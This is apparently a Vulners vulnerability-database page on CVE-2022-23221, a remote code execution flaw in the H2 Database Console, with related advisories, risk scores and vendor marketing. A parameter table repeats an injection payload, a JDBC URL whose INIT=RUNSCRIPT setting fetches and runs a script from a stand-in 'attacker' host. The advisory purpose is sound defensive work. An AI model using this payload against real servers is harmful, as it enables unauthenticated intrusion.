Vulners
Lucene search
| Reporter | Title | Published | Views | Family All 64 |
|---|---|---|---|---|
 | H2 Database Console Remote Code Execution Exploit | 25 Jan 202200:00 | – | zdt |
 | h2database-rce-poc | 29 Apr 202612:58 | – | githubexploit |
 | Astra Linux - уязвимость в h2database | 3 May 202623:59 | – | astralinux |
 | Security Bulletin: Vulnerability in Hibernate Validator affects IBM watsonx.data | 18 Sep 202416:52 | – | ibm |
 | CVE-2022-23221 | 9 Feb 202402:16 | – | circl |
 | H2Console 参数注入漏洞 | 19 Jan 202200:00 | – | cnnvd |
 | H2 Database Remote Code Execution (CVE-2022-23221) | 3 Nov 202200:00 | – | checkpoint_advisories |
 | CVE-2022-23221 | 19 Jan 202200:00 | – | cvelist |
 | [SECURITY] [DLA 2923-1] h2database security update | 15 Feb 202200:06 | – | debian |
| [SECURITY] [DSA 5076-1] h2database security update | 15 Feb 202214:09 | – | debian |
10
Node
Node
Node
10
| Parameter | Position | Path | Description | CWE |
|---|---|---|---|---|
| INIT | request body | jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql'; | Unauthenticated remote code execution via H2 Console using INIT=RUNSCRIPT to fetch and execute a remote script. | CWE-88 |
| IGNORE_UNKNOWN_SETTINGS | request body | jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql'; | Unauthenticated remote code execution via H2 Console using INIT=RUNSCRIPT to fetch and execute a remote script. | CWE-88 |
| FORBID_CREATION | request body | jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql'; | Unauthenticated remote code execution via H2 Console using INIT=RUNSCRIPT to fetch and execute a remote script. | CWE-88 |
| FROM 'http://attacker/evil.sql' | request body | jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql'; | Unauthenticated remote code execution via H2 Console using INIT=RUNSCRIPT to fetch and execute a remote script. | CWE-88 |
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 May 2025 17:17Current
9.5High risk
Vulners AI Score9.5
CVSS 3.19.8
CVSS 210
EPSS0.26568
SSVC